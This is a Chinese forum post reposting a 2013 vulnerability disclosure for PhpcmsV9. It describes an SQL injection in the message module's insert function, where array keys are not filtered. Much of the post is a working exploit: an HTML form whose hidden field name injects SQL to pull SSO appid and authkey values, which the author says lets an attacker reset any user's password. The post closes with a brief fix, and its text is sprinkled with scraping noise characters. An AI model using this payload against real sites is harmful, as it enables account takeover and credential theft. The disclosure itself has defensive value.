找回密码
 立即注册
查看: 2641|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:( z5 k5 h" }" B* Z! r5 Y- \. c
; k+ M0 n  F. d  ?% [" T0 P
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。2 v. i2 d- m7 J$ o
% q* {3 i+ w  I- s: ^5 |
明天再更新下一个漏洞。
  a) b& C+ n7 ?详细说明:% @8 Q5 ]+ i% o9 C2 A/ C
在/phpcms9/phpcms/modules/message/index.php中有代码如下:/ f3 l: {) c: P

% p$ ^& H; r2 `1 g; H" `$messageid = $this->message_db->insert($_POST['info'],true);
. R. ]1 w- ^3 H* W
* ]% t' g1 {+ Y+ f" e( D& y3 t% ?8 r) }- l6 i3 s# b1 A
insert方法是key value的,代码如下:
% x" ]2 F( U" f. _
# K3 c3 y& y4 L9 y. Qpublic function insert($data, $table, $return_insert_id = false, $replace = false) {. w. z! ?+ C# x- M; Y1 B. |
                if(!is_array( $data ) || $table == '' || count($data) == 0) {5 {# J, s  g' g. h/ Z4 G
                        return false;
0 D- d: K9 P4 i                }. W3 r- b$ I! ?9 t" a) D
               
9 U+ D$ z! Y; |+ F6 w                $fielddata = array_keys($data);- _: Z9 u+ C9 r8 u; [7 {  T
                $valuedata = array_values($data);7 o9 F- J3 M  Y& i! `9 I4 w* j
                array_walk($fielddata, array($this, 'add_special_char'));9 @0 b) J8 n1 y1 T* m# {
                array_walk($valuedata, array($this, 'escape_string'));, x/ c+ X2 S3 Z1 O  c3 U
               
  K& |, G2 Z. F2 X: k. z6 k3 L                $field = implode (',', $fielddata);
* w" q; M6 C! _1 x( P: j! u                $value = implode (',', $valuedata);8 B% W  o$ U# B2 i1 Q6 M1 d
% k2 v* z* n9 K9 E8 V' \4 x% D
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';$ l6 ^1 U4 \, G2 Z; u( f- j/ {
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';; ?2 V/ `6 `: r# N+ A1 c
                $return = $this->execute($sql);
( e* X7 r! X' D                return $return_insert_id ? $this->insert_id() : $return;
) o: p" C5 g* @" X( g4 g) _        }, v& x) w- O) u4 ^* `) @

/ P1 u" T) G6 |% R, [" E) }1 v8 `( @4 N; q0 r) `
嗯,很遗憾的是
6 z9 W- S( K4 D. h: D) p* g
* l$ V- M0 {3 ~1 [& I; Carray_walk($fielddata, array($this, 'add_special_char'));
3 W6 p8 {; K. S6 Y" g# f; L8 y, T' {5 o' e- j# _

2 e+ W5 p" v0 f2 K  o" `7 G* c中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。% b" x" \7 ]1 H7 K6 O/ ~! B
4 A! Y# Z- q" e4 A0 n
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
* v1 I: ?8 G, E! Z' ?4 [
+ O( X6 C+ i4 P" ?( a漏洞证明:
5 {( F$ n3 ~& p读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。: G* Y9 P/ i' f

* @7 k" P! X* K
8 b  K- _0 v7 J3 ]1 k/ @表单如下:用户名什么的得自己改一改。
3 [9 ~2 K# f1 T1 k2 n<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">5 [8 M4 y+ [5 J$ O
<table width="100%" cellspacing="0" class="table_form">
) A% c' O) x5 X( N" z<tr>
) [% Q6 @* f7 z1 u<th>标 题:</th>
, N# v: v9 x1 F  O3 K3 s$ \% i<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>0 ?; Q! \$ C$ ~
</tr>
" q/ h2 O) d3 w0 @7 r4 n, h<tr>& P6 B- t. `3 ]8 I- i# Q
<th>内 容:</th>  O; i. Q7 s' }+ b) J
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
6 G" @+ f) b* {' b</tr>
3 @# I1 U+ |+ e" R' A. n<input type="hidden" name="info[replyid]" value="2" />
7 b: W6 ]8 ]: Y, z<input type="hidden" name="info[send_to_id]" value="cc" />
! G& ?5 v) G" y8 a1 T! k# m2 l  X<input type="hidden" name="info[send_from_id]" value="hh">
3 |0 m' K/ \: \) L# V* Q1 c<!-- 漏洞的利用重点在这里开始 -->% o5 S) L" b. X0 p% _. G
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> - ~  G' _0 u! o) ?* W1 h- o
<!-- 漏洞的利用重点在这里结束 -->1 f9 n% R: s4 Y
<tr>
* P+ b6 i* x" H' w% E2 e* O<th>验证码:</th>+ m( h; u$ ?* c+ ]2 @1 j! l' u8 d
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
) {. ^( L* S6 |2 o+ V* Q</tr>6 ?) H/ W. f% E7 S* h
<tr>' R0 b' y3 }) A
<td></td>
% {$ I2 o# J% B6 g! R<td colspan="2"><label>' O3 j  P9 g7 h4 d9 c7 b) v* g
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>/ |& q( V) l; _7 N: x
</label></td>
  v, G  i2 b$ \. J) B& y+ K; p' L</tr>
" k* N( r: R; ~6 u# B2 v</table>0 Y; I8 a4 s' L4 h0 ^
</form>- {- _' ~* ?4 N  v' \
在add_special_char函数内对key做过滤就可以了。
. T4 o1 U$ j9 ^4 I( t6 k% j( a1 W0 g3 U  c0 _8 v* q1 ]9 R
  |6 m9 Z! O" [: V5 _! @

7 h$ ~2 V6 c, Z# L! k

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表